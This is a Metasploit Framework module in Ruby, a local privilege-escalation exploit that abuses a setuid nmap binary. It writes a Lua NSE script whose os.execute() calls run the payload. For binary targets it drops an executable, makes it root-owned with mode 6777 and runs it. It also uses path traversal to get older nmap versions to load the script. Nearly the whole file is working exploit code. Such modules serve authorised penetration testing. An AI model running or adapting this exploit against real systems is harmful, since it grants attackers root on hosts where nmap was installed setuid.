##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/exe'


class Metasploit4 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'Setuid Nmap Exploit',
				'Description'   => %q{
					Nmap's man page mentions that "Nmap should never be installed with
					special privileges (e.g. suid root) for security reasons.." and
					specifically avoids making any of its binaries setuid during
					installation.  Nevertheless, administrators sometimes feel the need
					to do insecure things.  This module abuses a setuid nmap binary by
					writing out a lua nse script containing a call to os.execute().

					Note that modern interpreters will refuse to run scripts on the
					command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
					payloads will most likely not work.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'egypt' ],
				'DisclosureDate' => 'Jul 19 2012',
				'Platform'      => [ 'unix', 'linux', 'bsd' ],
				'Arch'          => [ ARCH_CMD, ARCH_X86 ],
				'SessionTypes'  => [ 'shell', 'meterpreter' ],
				'Targets'       =>
					[
						[ 'Command payload', { 'Arch' => ARCH_CMD } ],
						[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
						[ 'BSD x86',         { 'Arch' => ARCH_X86 } ],
					],
				'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
				'DefaultTarget' => 0,
			}
			))
		register_options([
				# These are not OptPath becuase it's a *remote* path
				OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
				OptString.new("Nmap",        [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]),
				OptString.new("ExtraArgs",        [ false, "Extra arguments to pass to Nmap (e.g. --datadir)", "" ]),
			], self.class)
	end

	def check
		stat = session.fs.file.stat(datastore["Nmap"])
		if stat and stat.file? and stat.setuid?
			print_good("#{stat.prettymode} #{datastore["Nmap"]}")
			return CheckCode::Vulnerable
		end
		return CheckCode::Safe
	end

	def exploit
		if (target.arch.include? ARCH_CMD)
			p = payload.encoded.gsub(/([$"])/) {|m| "\\#{$1}" }
			evil_lua = %Q{ os.execute("#{p} &") }
		else
			exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.elf"
			print_status("Dropping executable #{exe_file}")
			write_file(exe_file, generate_payload_exe)
			evil_lua = %Q{
				os.execute("chown root:root #{exe_file}");
				os.execute("chmod 6777 #{exe_file}");
				os.execute("#{exe_file} &");
				os.execute("rm #{exe_file}");
			}
		end
		lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse"
		print_status("Dropping lua #{lua_file}")
		write_file(lua_file, evil_lua)

		print_status("running")

		scriptname = lua_file
		if (lua_file[0,1] == "/")
			# Versions before 4.51BETA (December 2007) only accept relative paths for script names
			# Figure 10 up-directory traversals is enough.
			scriptname = ("../" * 10) + lua_file[1..-1]
		end

		begin
			# Versions before 4.75 (August 2008) will not run scripts without a port scan
			cmd_exec "#{datastore["Nmap"]} --script #{scriptname} -p80 localhost #{datastore["ExtraArgs"]}"
		ensure
			cmd_exec "rm -f #{lua_file} #{exe_file}"
		end

	end
end

